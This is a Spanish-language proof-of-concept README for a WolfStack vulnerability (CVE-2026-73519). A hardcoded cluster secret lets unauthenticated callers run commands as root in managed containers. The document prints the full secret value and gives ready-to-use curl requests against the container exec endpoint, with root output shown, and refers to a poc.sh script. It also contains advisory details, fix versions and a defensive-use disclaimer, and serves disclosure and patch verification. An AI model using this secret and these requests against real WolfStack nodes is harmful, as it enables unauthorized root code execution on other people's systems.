
PoC para CVE-2026-73519 - El secreto de clúster hardcodeado de WolfStack permite RCE no autenticado (CVSS 9.8)
PoC de un secreto de autenticación predeterminado codificado en WolfStack que permite a un atacante remoto no autenticado ejecutar comandos arbitrarios como root dentro de cualquier contenedor Docker/LXC administrado.
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| Aviso | GHSA-r3mw-2wmq-j6jg · Análisis de VulnCheck |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (Credenciales codificadas), CWE-306 (Autenticación ausente para función crítica) |
| Afectado | v25.9.0 y anteriores / cualquier nodo que no haya completado la migración de secreto por instalación |
| Corregido en | v25.9.2 / v25.9.3 |
| Crédito | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 incluye un único secreto codificado presente en todas las compilaciones de WolfStack:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted() (src/auth/mod.rs:430-460) acepta esta constante como credencial válida por defecto, a menos que el operador haya optado explícitamente por rechazarla (WOLFSTACK_REJECT_DEFAULT_SECRET=1) o ya haya rotado a un secreto personalizado. api::require_auth() (src/api/mod.rs:518-535), la única barrera que protege toda la API REST, trata una solicitud que lleva una cabecera X-WolfStack-Secret coincidente como completamente autenticada — sin sesión, sin clave de API, sin cuenta.
Esa barrera protege POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), que ejecuta la cadena de comando proporcionada por el llamador tal cual dentro del contenedor objetivo. Cualquiera que haya leído el código fuente público (o este repositorio) puede autenticarse como un par de clúster de confianza y ejecutar comandos arbitrarios como root en cualquier contenedor que administre el nodo.
La autogeneración de secreto por instalación añadida en este ciclo de lanzamiento solo se activa en nodos sin archivo de secreto existente y sin pares registrados (src/auth/mod.rs:250-261) — cualquier nodo actualizado, cualquier nodo que sufra la condición de carrera de arranque documentada, o cualquier nodo con una ruta de configuración no escribible permanece con el valor predeterminado compartido indefinidamente, con solo una advertencia en el registro.
Apunta TARGET y CONTAINER a una instancia de WolfStack y a un contenedor que estés autorizado a probar, luego:
./poc.sh http://TARGET:8553 CONTAINER_NAME
O manualmente:
# No autenticado — rechazado
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Secreto codificado de src/auth/mod.rs:32 — RCE completo como root, sin inicio de sesión
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

Verificado contra el binario real de la versión v25.9.0 con suma de comprobación verificada (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) con un contenedor real alpine:latest como objetivo. El ID de contenedor en la salida de la respuesta coincide con docker ps en el host víctima.
/api/containers/docker, /api/containers/lxc), sin autenticación.require_auth (gestión de pares/nodos, copias de seguridad, etc.) — este PoC apunta al sumidero de ejecución de contenedores como el impacto más claro, no una lista exhaustiva.Actualiza a v25.9.2 o posterior. El mantenedor cambió la aceptación del secreto predeterminado para rechazarlo por defecto y añadió una ruta de rotación forzada para instalaciones existentes.
Publicado después de que la corrección se distribuyera y el CVE fuera asignado, para uso defensivo/educativo — verificación del estado del parche en tu propia infraestructura. No ejecutes esto contra sistemas que no poseas o para los que no tengas autorización explícita de prueba.